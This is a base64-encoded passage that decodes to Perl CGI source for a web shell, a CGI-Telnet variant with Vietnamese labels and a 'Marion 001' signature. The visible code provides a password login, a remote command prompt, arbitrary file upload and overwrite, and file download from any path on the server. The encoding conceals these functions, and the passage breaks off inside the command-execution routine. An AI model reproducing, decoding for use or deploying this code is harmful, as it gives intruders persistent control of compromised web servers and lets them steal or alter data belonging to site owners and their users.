X4gcy8+LyZndDsvZzsKCXJldHVybiAkdGV4dDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGxpbmsgZm9yIGRpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBBZGRMaW5rRGlyKCQpCnsKCW15ICRhYz1zaGlmdDsKCW15IEBkaXI9KCk7CglpZigkV2luTlQpCgl7CgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsKCX1lbHNlCgl7CgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsKCX0KCW15ICRwYXRoPSIiOwoJbXkgJHJlc3VsdD0iIjsKCWZvcmVhY2ggKEBkaXIpCgl7CgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7CgkJJHJlc3VsdC49IjxhIGhyZWY9Jz9hPSIuJGFjLiImZD0iLmVuY29kZV9iYXNlNjQoJHBhdGgpLiInPiIuJF8uJFBhdGhTZXAuIjwvYT4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UKewoJcHJpbnQgPDxFTkQ7Ck0mIzc4NTM7dCBLaCYjNzg0OTt1Ojxicj5Mb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPk0mIzc4NTM7dCBLaCYjNzg0OTt1OiBtYXJpb24wMDE8YnI+TSYjNzg1Mzt0IEtoJiM3ODQ5O3U6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTWFyaW9uMDAxIj48L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VGb290ZXIKewoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ+PTwvZm9udD48Zm9udCBjb2xvcj1yZWQ+LS0tJmd0OyogIDxmb250IGNvbG9yPTAwRkYwMD5FZGl0ZWQgYnkgOjpbTWFyaW9uIDAwMV06OiA8L2ZvbnQ+ICAqJmx0Oy0tLT08L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPiI7Cn1zdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIiBvblN1Ym1pdD0iRW5jb2RlcignYycpIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIiBpZD0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpUJiMyMzQ7biBGaWxlOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpUJiM3ODQzO2kgWHUmIzc4ODk7bmcgPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik1hcmlvbjAwMSI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KVCYjMjM0O24gRmlsZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KQyYjMjI0O2kgJiMyNzI7JiM3ODYzO3Q6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPiYjMjcyOyYjMjMyOyBMJiMyMzQ7biBOJiM3ODcxO3UgRmlsZSBUciYjMjQ5O25nIE5oYXU8L2xhYmVsPjxicj48YnI+ClQmIzc4NDM7aSBMJiMyMzQ7bjombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTWFyaW9uMDAxIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KRU5ECn0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPjxicj48Zm9udCBjb2xvcj15ZWxsb3c+Q29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD48YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+CkVORAoJfQp9CnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwoJEZpbGVVcmwpID0gQF87CglteSAkcmVzdWx0PSIiOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJHJlc3VsdCAuPSA8PEVORDsKU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4KRU5ECgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCX0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsKCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCgl9CglteSAkcmVzdWx0PSIiOwoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MKCSRyZXN1bHQgLj0gIlQmIzc4NDM7aSBMJiMyMzQ7bjogJFRyYW5zZmVyRmlsZSBUJiM3ODk5O2kgJEN1cnJlbnREaXIgLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCSRyZXN1bHQgLj0gIlRIJiM3ODQ1O3QgQiYjNzg0MTtpLCBUJiM3ODc5O3AgVGluIE4mIzIyNDt5ICYjMjcyOyYjMjI3OyBUJiM3ODkxO24gVCYjNzg0MTtpLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gImsmIzIzNztjaCBUaCYjNDMyOyYjNzg5OTtjOiAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIiYjMjcyOyYjNDMyOyYjNzkwMTtuZyBEJiM3ODUxO24gRmlsZTogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiVGgmIzc4NDU7dCBCJiM3ODQxO2k6ICQhPGJyPiI7CgkJfQoJfQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3